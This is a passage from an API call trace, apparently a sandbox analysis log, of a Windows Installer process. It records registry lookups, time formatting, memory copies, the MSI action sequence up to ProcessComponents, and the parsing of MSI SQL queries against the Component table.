lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cd660 | out: phkResult=0x10cd660*=0x0) returned 0x2 [0127.178] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0127.178] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0127.178] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cd660 | out: phkResult=0x10cd660*=0x0) returned 0x2 [0127.178] lstrlenW (lpString="InstallInitialize") returned 17 [0127.178] SetLastError (dwErrCode=0xd) [0127.178] SetLastError (dwErrCode=0xd) [0127.178] lstrlenW (lpString="Time") returned 4 [0127.178] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x27e)) [0127.178] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:48") returned 9 [0127.179] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x27e)) [0127.179] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:48") returned 9 [0127.179] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x27e)) [0127.179] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:48") returned 9 [0127.179] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0127.179] memcpy (in: _Dst=0x3b5082a, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x3b5082a) returned 0x3b5082a [0127.179] memcpy (in: _Dst=0x3b5083a, _Src=0x34b0e6, _Size=0x4 | out: _Dst=0x3b5083a) returned 0x3b5083a [0127.179] memcpy (in: _Dst=0x3b5083e, _Src=0x34b0ec, _Size=0x2 | out: _Dst=0x3b5083e) returned 0x3b5083e [0127.179] SetLastError (dwErrCode=0x0) [0127.179] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0127.179] memcpy (in: _Dst=0x3b5083e, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b5083e) returned 0x3b5083e [0127.179] memcpy (in: _Dst=0x3b50844, _Src=0x34b0f0, _Size=0x1e | out: _Dst=0x3b50844) returned 0x3b50844 [0127.179] memcpy (in: _Dst=0x3b50862, _Src=0x34b110, _Size=0x2 | out: _Dst=0x3b50862) returned 0x3b50862 [0127.179] SetLastError (dwErrCode=0x0) [0127.179] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0127.179] memcpy (in: _Dst=0x3b50862, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b50862) returned 0x3b50862 [0127.179] memcpy (in: _Dst=0x3b50868, _Src=0x34b114, _Size=0x2 | out: _Dst=0x3b50868) returned 0x3b50868 [0127.180] GetCurrentThreadId () returned 0xf50 [0127.180] GetCurrentThreadId () returned 0xf50 [0127.180] SetEvent (hEvent=0x170) returned 1 [0127.180] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0127.183] SetLastError (dwErrCode=0xd) [0127.183] lstrcmpiW (lpString1="", lpString2="ALL") returned -1 [0127.183] SetLastError (dwErrCode=0xd) [0127.183] SetLastError (dwErrCode=0xd) [0127.183] lstrlenW (lpString="ActionText") returned 10 [0127.184] lstrcmpW (lpString1="Advertise", lpString2="ProcessComponents") returned -1 [0127.184] lstrcmpW (lpString1="AllocateRegistrySpace", lpString2="ProcessComponents") returned -1 [0127.184] lstrcmpW (lpString1="AppSearch", lpString2="ProcessComponents") returned -1 [0127.184] lstrcmpW (lpString1="BindImage", lpString2="ProcessComponents") returned -1 [0127.184] lstrcmpW (lpString1="CCPSearch", lpString2="ProcessComponents") returned -1 [0127.184] lstrcmpW (lpString1="CostFinalize", lpString2="ProcessComponents") returned -1 [0127.184] lstrcmpW (lpString1="CostInitialize", lpString2="ProcessComponents") returned -1 [0127.184] lstrcmpW (lpString1="CreateFolders", lpString2="ProcessComponents") returned -1 [0127.184] lstrcmpW (lpString1="CreateShortcuts", lpString2="ProcessComponents") returned -1 [0127.184] lstrcmpW (lpString1="DeleteServices", lpString2="ProcessComponents") returned -1 [0127.184] lstrcmpW (lpString1="DuplicateFiles", lpString2="ProcessComponents") returned -1 [0127.184] lstrcmpW (lpString1="FileCost", lpString2="ProcessComponents") returned -1 [0127.184] lstrcmpW (lpString1="FindRelatedProducts", lpString2="ProcessComponents") returned -1 [0127.184] lstrcmpW (lpString1="GenerateScript", lpString2="ProcessComponents") returned -1 [0127.184] lstrcmpW (lpString1="InstallAdminPackage", lpString2="ProcessComponents") returned -1 [0127.184] lstrcmpW (lpString1="InstallFiles", lpString2="ProcessComponents") returned -1 [0127.184] lstrcmpW (lpString1="InstallODBC", lpString2="ProcessComponents") returned -1 [0127.184] lstrcmpW (lpString1="InstallServices", lpString2="ProcessComponents") returned -1 [0127.184] lstrcmpW (lpString1="InstallSFPCatalogFile", lpString2="ProcessComponents") returned -1 [0127.184] lstrcmpW (lpString1="InstallValidate", lpString2="ProcessComponents") returned -1 [0127.184] lstrcmpW (lpString1="LaunchConditions", lpString2="ProcessComponents") returned -1 [0127.184] lstrcmpW (lpString1="MigrateFeatureStates", lpString2="ProcessComponents") returned -1 [0127.184] lstrcmpW (lpString1="MoveFiles", lpString2="ProcessComponents") returned -1 [0127.184] lstrcmpW (lpString1="MsiPublishAssemblies", lpString2="ProcessComponents") returned -1 [0127.184] lstrcmpW (lpString1="MsiUnpublishAssemblies", lpString2="ProcessComponents") returned -1 [0127.184] lstrcmpW (lpString1="PatchFiles", lpString2="ProcessComponents") returned -1 [0127.184] lstrcmpW (lpString1="ProcessComponents", lpString2="ProcessComponents") returned 0 [0127.184] lstrlenW (lpString="ProductLanguage") returned 15 [0127.184] SetLastError (dwErrCode=0x0) [0127.185] LoadLibraryExW (lpLibFileName="MsiMsg.dll", hFile=0x0, dwFlags=0x22) returned 0xc10002 [0127.186] FormatMessageW (in: dwFlags=0x800, lpSource=0xc10002, dwMessageId=0x754b, dwLanguageId=0x409, lpBuffer=0x10ce530, nSize=0x100, Arguments=0x0 | out: lpBuffer="Updating component registration\r\n") returned 0x21 [0127.189] lstrlenW (lpString="Updating component registration") returned 31 [0127.189] FreeLibrary (hLibModule=0xc10002) returned 1 [0127.190] lstrlenW (lpString="ProcessComponents") returned 17 [0127.191] lstrlenW (lpString="{{") returned 2 [0127.191] lstrlenW (lpString=": }}") returned 4 [0127.191] SetLastError (dwErrCode=0xd) [0127.191] lstrlenW (lpString="Time") returned 4 [0127.191] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x27e)) [0127.191] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:48") returned 9 [0127.191] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x27e)) [0127.191] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:48") returned 9 [0127.191] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x27e)) [0127.191] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:48") returned 9 [0127.191] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0127.191] memcpy (in: _Dst=0x3b5081e, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x3b5081e) returned 0x3b5081e [0127.191] memcpy (in: _Dst=0x3b5082e, _Src=0x2104b8a, _Size=0x4 | out: _Dst=0x3b5082e) returned 0x3b5082e [0127.191] memcpy (in: _Dst=0x3b50832, _Src=0x2104b90, _Size=0x2 | out: _Dst=0x3b50832) returned 0x3b50832 [0127.191] SetLastError (dwErrCode=0x0) [0127.191] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0127.191] memcpy (in: _Dst=0x3b50832, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b50832) returned 0x3b50832 [0127.191] memcpy (in: _Dst=0x3b50838, _Src=0x2104b94, _Size=0x4 | out: _Dst=0x3b50838) returned 0x3b50838 [0127.192] memcpy (in: _Dst=0x3b5083c, _Src=0x2104b9a, _Size=0x2 | out: _Dst=0x3b5083c) returned 0x3b5083c [0127.192] SetLastError (dwErrCode=0x0) [0127.192] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0127.192] memcpy (in: _Dst=0x3b5083c, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b5083c) returned 0x3b5083c [0127.192] GetCurrentThreadId () returned 0xf50 [0127.192] GetCurrentThreadId () returned 0xf50 [0127.192] SetEvent (hEvent=0x170) returned 1 [0127.192] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0127.195] lstrlenW (lpString="ProcessComponents") returned 17 [0127.195] SetLastError (dwErrCode=0xd) [0127.196] SetLastError (dwErrCode=0xd) [0127.196] lstrlenW (lpString="Time") returned 4 [0127.196] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x28d)) [0127.196] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:48") returned 9 [0127.196] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x28d)) [0127.196] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:48") returned 9 [0127.196] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x28d)) [0127.196] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:48") returned 9 [0127.196] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0127.196] memcpy (in: _Dst=0x3b5082a, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x3b5082a) returned 0x3b5082a [0127.196] memcpy (in: _Dst=0x3b5083a, _Src=0x376446, _Size=0x4 | out: _Dst=0x3b5083a) returned 0x3b5083a [0127.196] memcpy (in: _Dst=0x3b5083e, _Src=0x37644c, _Size=0x2 | out: _Dst=0x3b5083e) returned 0x3b5083e [0127.196] SetLastError (dwErrCode=0x0) [0127.196] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0127.196] memcpy (in: _Dst=0x3b5083e, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b5083e) returned 0x3b5083e [0127.196] memcpy (in: _Dst=0x3b50844, _Src=0x376450, _Size=0x2 | out: _Dst=0x3b50844) returned 0x3b50844 [0127.196] GetCurrentThreadId () returned 0xf50 [0127.196] GetCurrentThreadId () returned 0xf50 [0127.196] SetEvent (hEvent=0x170) returned 1 [0127.197] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0127.302] lstrlenW (lpString="Feature") returned 7 [0127.302] lstrlenW (lpString="Action") returned 6 [0127.302] lstrlenW (lpString="Installed") returned 9 [0127.302] GlobalLock (hMem=0xf401b8) returned 0x2100b00 [0127.303] lstrlenW (lpString=" SELECT `ComponentId`, `BinaryType`, `Action` From `Component` WHERE (`Component_Parent` = null OR `Component_Parent` = `Component`) AND `ComponentId` <> null AND `ActionRequest` = null AND `Action`= null") returned 206 [0127.512] lstrlenW (lpString=" SELECT `ComponentId`, `BinaryType`, `Action` From `Component` WHERE (`Component_Parent` = null OR `Component_Parent` = `Component`) AND `ComponentId` <> null AND `ActionRequest` = null AND `Action`= null") returned 206 [0127.512] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0127.512] lstrcmpiW (lpString1="SELECT", lpString2="From") returned 1 [0127.512] lstrcmpiW (lpString1="FROM", lpString2="From") returned 0 [0127.512] lstrlenW (lpString="Component") returned 9 [0127.512] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0127.512] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0127.512] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0127.512] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0127.512] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0127.512] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0127.512] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0127.512] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0127.512] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0127.512] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0127.512] lstrcmpiW (lpString1="SELECT", lpString2="null") returned 1 [0127.512] lstrcmpiW (lpString1="FROM", lpString2="null") returned -1 [0127.512] lstrcmpiW (lpString1="AS", lpString2="null") returned -1 [0127.512] lstrcmpiW (lpString1="WHERE", lpString2="null") returned 1 [0127.512] lstrcmpiW (lpString1="NULL", lpString2="null") returned 0 [0127.512] lstrcmpiW (lpString1="SELECT", lpString2="OR") returned 1 [0127.512] lstrcmpiW (lpString1="FROM", lpString2="OR") returned -1 [0127.512] lstrcmpiW (lpString1="AS", lpString2="OR") returned -1 [0127.512] lstrcmpiW (lpString1="WHERE", lpString2="OR") returned 1 [0127.512] lstrcmpiW (lpString1="NULL", lpString2="OR") returned -1 [0127.513] lstrcmpiW (lpString1="OR", lpString2="OR") returned 0 [0127.513] lstrcmpiW (lpString1="SELECT", lpString2="AND") returned 1 [0127.513] lstrcmpiW (lpString1="FROM", lpString2="AND") returned 1 [0127.513] lstrcmpiW (lpString1="AS", lpString2="AND") returned 1 [0127.513] lstrcmpiW (lpString1="WHERE", lpString2="AND") returned 1 [0127.513] lstrcmpiW (lpString1="NULL", lpString2="AND") returned 1 [0127.513] lstrcmpiW (lpString1="OR", lpString2="AND") returned 1 [0127.513] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0127.513] lstrcmpiW (lpString1="SELECT", lpString2="null") returned 1 [0127.513] lstrcmpiW (lpString1="FROM", lpString2="null") returned -1 [0127.513] lstrcmpiW (lpString1="AS", lpString2="null") returned -1 [0127.513] lstrcmpiW (lpString1="WHERE", lpString2="null") returned 1 [0127.513] lstrcmpiW (lpString1="NULL", lpString2="null") returned 0 [0127.513] lstrcmpiW (lpString1="SELECT", lpString2="null") returned 1 [0127.513] lstrcmpiW (lpString1="FROM", lpString2="null") returned -1 [0127.513] lstrcmpiW (lpString1="AS", lpString2="null") returned -1 [0127.513] lstrcmpiW (lpString1="WHERE", lpString2="null") returned 1 [0127.513] lstrcmpiW (lpString1="NULL", lpString2="null") returned 0 [0127.513] lstrcmpiW (lpString1="SELECT", lpString2="AND") returned 1 [0127.513] lstrcmpiW (lpString1="FROM", lpString2="AND") returned 1 [0127.513] lstrcmpiW (lpString1="AS", lpString2="AND") returned 1 [0127.513] lstrcmpiW (lpString1="WHERE", lpString2="AND") returned 1 [0127.513] lstrcmpiW (lpString1="NULL", lpString2="AND") returned 1 [0127.513] lstrcmpiW (lpString1="OR", lpString2="AND") returned 1 [0127.513] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0127.513] lstrcmpiW (lpString1="SELECT", lpString2="null") returned 1 [0127.513] lstrcmpiW (lpString1="FROM", lpString2="null") returned -1 [0127.513] lstrcmpiW (lpString1="AS", lpString2="null") returned -1 [0127.513] lstrcmpiW (lpString1="WHERE", lpString2="null") returned 1 [0127.513] lstrcmpiW (lpString1="NULL", lpString2="null") returned 0 [0127.513] lstrcmpiW (lpString1="SELECT", lpString2="AND") returned 1 [0127.513] lstrcmpiW (lpString1="FROM", lpString2="AND") returned 1 [0127.513] lstrcmpiW (lpString1="AS", lpString2="AND") returned 1 [0127.514] lstrcmpiW (lpString1="WHERE", lpString2="AND") returned 1 [0127.514] lstrcmpiW (lpString1="NULL", lpString2="AND") returned 1 [0127.514] lstrcmpiW (lpString1="OR", lpString2="AND") returned 1 [0127.514] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0127.514] lstrcmpiW (lpString1="SELECT", lpString2="null") returned 1 [0127.514] lstrcmpiW (lpString1="FROM", lpString2="null") returned -1 [0127.514] lstrcmpiW (lpString1="AS", lpString2="null") returned -1 [0127.514] lstrcmpiW (lpString1="WHERE", lpString2="null") returned 1 [0127.514] lstrcmpiW (lpString1="NULL", lpString2="null") returned 0 [0127.514] lstrlenW (lpString="Component_Parent") returned 16 [0127.514] lstrlenW (lpString="=") returned 1 [0127.514] lstrcmpiW (lpString1="SELECT", lpString2="null") returned 1 [0127.514] lstrcmpiW (lpString1="FROM", lpString2="null") returned -1 [0127.514] lstrcmpiW (lpString1="AS", lpString2="null") returned -1 [0127.514] lstrcmpiW (lpString1="WHERE", lpString2="null") returned 1 [0127.514] lstrcmpiW (lpString1="NULL", lpString2="null") returned 0 [0127.514] lstrlenW (lpString="null") returned 4 [0127.514] lstrcmpiW (lpString1="AND", lpString2="OR") returned -1 [0127.514] lstrcmpiW (lpString1="SELECT", lpString2="OR") returned 1 [0127.514] lstrcmpiW (lpString1="FROM", lpString2="OR") returned -1 [0127.514] lstrcmpiW (lpString1="AS", lpString2="OR") returned -1 [0127.514] lstrcmpiW (lpString1="WHERE", lpString2="OR") returned 1 [0127.514] lstrcmpiW (lpString1="NULL", lpString2="OR") returned -1 [0127.514] lstrcmpiW (lpString1="OR", lpString2="OR") returned 0 [0127.514] lstrcmpiW (lpString1="OR", lpString2="OR") returned 0 [0127.514] lstrlenW (lpString="Component_Parent") returned 16 [0127.514] lstrlenW (lpString="=") returned 1 [0127.514] lstrlenW (lpString="Component") returned 9 [0127.514] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0127.515] lstrlenW (lpString="ComponentId") returned 11 [0127.515] lstrcmpiW (lpString1="SELECT", lpString2="null") returned 1 [0127.515] lstrcmpiW (lpString1="FROM", lpString2="null") returned -1 [0127.515] lstrcmpiW (lpString1="AS", lpString2="null") returned -1 [0127.515] lstrcmpiW (lpString1="WHERE", lpString2="null") returned 1 [0127.515] lstrcmpiW (lpString1="NULL", lpString2="null") returned 0 [0127.515] lstrcmpiW (lpString1="SELECT", lpString2="null") returned 1 [0127.515] lstrcmpiW (lpString1="FROM", lpString2="null") returned -1 [0127.515] lstrcmpiW (lpString1="AS", lpString2="null") returned -1 [0127.515] lstrcmpiW (lpString1="WHERE", lpString2="null") returned 1 [0127.515] lstrcmpiW (lpString1="NULL", lpString2="null") returned 0 [0127.515] lstrlenW (lpString="<>") returned 2 [0127.515] lstrcmpiW (lpString1="SELECT", lpString2="null") returned 1 [0127.515] lstrcmpiW (lpString1="FROM", lpString2="null") returned -1 [0127.515] lstrcmpiW (lpString1="AS", lpString2="null") returned -1 [0127.515] lstrcmpiW (lpString1="WHERE", lpString2="null") returned 1 [0127.515] lstrcmpiW (lpString1="NULL", lpString2="null") returned 0 [0127.515] lstrlenW (lpString="null") returned 4 [0127.515] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0127.515] lstrlenW (lpString="ActionRequest") returned 13 [0127.515] lstrlenW (lpString="=") returned 1 [0127.515] lstrcmpiW (lpString1="SELECT", lpString2="null") returned 1 [0127.515] lstrcmpiW (lpString1="FROM", lpString2="null") returned -1 [0127.515] lstrcmpiW (lpString1="AS", lpString2="null") returned -1 [0127.515] lstrcmpiW (lpString1="WHERE", lpString2="null") returned 1 [0127.515] lstrcmpiW (lpString1="NULL", lpString2="null") returned 0 [0127.515] lstrlenW (lpString="null") returned 4 [0127.515] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0127.515] lstrlenW (lpString="Action") returned 6 [0127.516] lstrlenW (lpString="=") returned 1 [0127.516] lstrcmpiW (lpString1="SELECT", lpString2="null") returned 1 [0127.516] lstrcmpiW (lpString1="FROM", lpString2="null") returned -1 [0127.516] lstrcmpiW (lpString1="AS", lpString2="null") returned -1 [0127.516] lstrcmpiW (lpString1="WHERE", lpString2="null") returned 1 [0127.516] lstrcmpiW (lpString1="NULL", lpString2="null") returned 0 [0127.516] lstrlenW (lpString="null") returned 4 [0127.516] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0127.516] lstrcmpiW (lpString1="SELECT", lpString2="From") returned 1 [0127.516] lstrcmpiW (lpString1="FROM", lpString2="From") returned 0 [0127.516] lstrlenW (lpString="ComponentId") returned 11 [0127.516] lstrlenW (lpString="BinaryType") returned 10 [0127.516] lstrlenW (lpString="Action") returned 6 [0127.516] lstrcmpiW (lpString1="SELECT", lpString2="From") returned 1 [0127.516] lstrcmpiW (lpString1="FROM", lpString2="From") returned 0 [0127.516] lstrcmpiW (lpString1="SELECT", lpString2="From") returned 1 [0127.516] lstrcmpiW (lpString1="FROM", lpString2="From") returned 0 [0127.516] lstrcmpiW (lpString1="FROM", lpString2="From") returned 0 [0127.516] GlobalLock (hMem=0xf401a8) returned 0x21dfee0 [0127.516] GlobalUnlock (hMem=0xf401a8) returned 0 [0127.516] GlobalUnlock (hMem=0xf401b8) returned 0 [0127.516] GlobalLock (hMem=0xf401b8) returned 0x2100b00 [0127.516] lstrlenW (lpString=" SELECT `ComponentId`, `BinaryType`, `Action` From `Component` WHERE (`Component_Parent` = null OR `Component_Parent` = `Component`) AND `ComponentId` <> null AND (`ActionRequest` = 0)") returned 186 [0127.517] lstrlenW (lpString=" SELECT `ComponentId`, `BinaryType`, `Action` From `Component` WHERE (`Component_Parent` = null OR `Component_Parent` = `Component`) AND `ComponentId` <> null AND (`ActionRequest` = 0)") returned 186 [0127.517] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0127.517] lstrcmpiW (lpString1="SELECT", lpString2="From") returned 1 [0127.517] lstrcmpiW (lpString1="FROM", lpString2="From") returned 0 [0127.517] lstrlenW (lpString="Component") returned 9 [0127.517] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0127.517] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0127.517] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0127.517] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0127.517] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0127.517] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0127.517] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0127.517] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0127.517] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0127.517] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0127.517] lstrcmpiW (lpString1="SELECT", lpString2="null") returned 1 [0127.517] lstrcmpiW (lpString1="FROM", lpString2="null") returned -1 [0127.517] lstrcmpiW (lpString1="AS", lpString2="null") returned -1 [0127.517] lstrcmpiW (lpString1="WHERE", lpString2="null") returned 1 [0127.517] lstrcmpiW (lpString1="NULL", lpString2="null") returned 0 [0127.517] lstrcmpiW (lpString1="SELECT", lpString2="OR") returned 1 [0127.517] lstrcmpiW (lpString1="FROM", lpString2="OR") returned -1 [0127.517] lstrcmpiW (lpString1="AS", lpString2="OR") returned -1 [0127.517] lstrcmpiW (lpString1="WHERE", lpString2="OR") returned 1 [0127.517] lstrcmpiW (lpString1="NULL", lpString2="OR") returned -1 [0127.517] lstrcmpiW (lpString1="OR", lpString2="OR") returned 0 [0127.517] lstrcmpiW (lpString1="SELECT", lpString2="AND") returned 1 [0127.518] lstrcmpiW (lpString1="FROM", lpString2="AND") returned 1 [0127.518] lstrcmpiW (lpString1="AS", lpString2="AND") returned 1 [0127.518] lstrcmpiW (lpString1="WHERE", lpString2="AND") returned 1 [0127.518] lstrcmpiW (lpString1="NULL", lpString2="AND") returned 1 [0127.518] lstrcmpiW (lpString1="OR", lpString2="AND") returned 1 [0127.518] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0127.518] lstrcmpiW (lpString1="SELECT", lpString2="null") returned 1 [0127.518] lstrcmpiW (lpString1="FROM", lpString2="null") returned -1 [0127.518] lstrcmpiW (lpString1="AS", lpString2="null") returned -1 [0127.518] lstrcmpiW (lpString1="WHERE", lpString2="null") returned 1 [0127.518] lstrcmpiW (lpString1="NULL", lpString2="null") returned 0 [0127.518] lstrcmpiW (lpString1="SELECT", lpString2="null") returned 1 [0127.518] lstrcmpiW (lpString1="FROM", lpString2="null") returned -1 [0127.518] lstrcmpiW (lpString1="AS", lpString2="null") returned -1 [0127.518] lstrcmpiW (lpString1="WHERE", lpString2="null") returned 1 [0127.518] lstrcmpiW (lpString1="NULL", lpString2="null") returned 0 [0127.518] lstrcmpiW (lpString1="SELECT", lpString2="AND") returned 1 [0127.518] lstrcmpiW (lpString1="FROM", lpString2="AND") returned 1 [0127.518] lstrcmpiW (lpString1="AS", lpString2="AND") returned 1 [0127.518] lstrcmpiW (lpString1="WHERE", lpString2="AND") returned 1 [0127.518] lstrcmpiW (lpString1="NULL", lpString2="AND") returned 1 [0127.518] lstrcmpiW (lpString1="OR", lpString2="AND") returned 1 [0127.518] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0127.518] lstrcmpiW (lpString1="SELECT", lpString2="0") returned 1 [0127.518] lstrcmpiW (lpString1="FROM", lpString2="0") returned 1 [0127.518] lstrcmpiW (lpString1="AS", lpString2="0") returned 1 [0127.518] lstrcmpiW (lpString1="WHERE", lpString2="0") returned 1 [0127.518] lstrcmpiW (lpString1="NULL", lpString2="0") returned 1 [0127.518] lstrcmpiW (lpString1="OR", lpString2="0") returned 1 [0127.518] lstrcmpiW (lpString1="AND", lpString2="0") returned 1 [0127.518] lstrcmpiW (lpString1="NOT", lpString2="0") returned 1 [0127.518] lstrcmpiW (lpString1="ORDER", lpString2="0") returned 1 [0127.518] lstrcmpiW (lpString1="BY", lpString2="0") returned 1 [0127.519] lstrcmpiW (lpString1="DISTINCT", lpString2="0") returned 1 [0127.519] lstrcmpiW (lpString1="UPDATE", lpString2="0") returned 1 [0127.519] lstrcmpiW (lpString1="DELETE", lpString2="0") returned 1 [0127.519] lstrcmpiW (lpString1="INSERT", lpString2="0") returned 1 [0127.519] lstrcmpiW (lpString1="INTO", lpString2="0") returned 1 [0127.519] lstrcmpiW (lpString1="SET", lpString2="0") returned 1 [0127.519] lstrcmpiW (lpString1="VALUES", lpString2="0") returned 1 [0127.519] lstrcmpiW (lpString1="IS", lpString2="0") returned 1 [0127.519] lstrcmpiW (lpString1="CREATE", 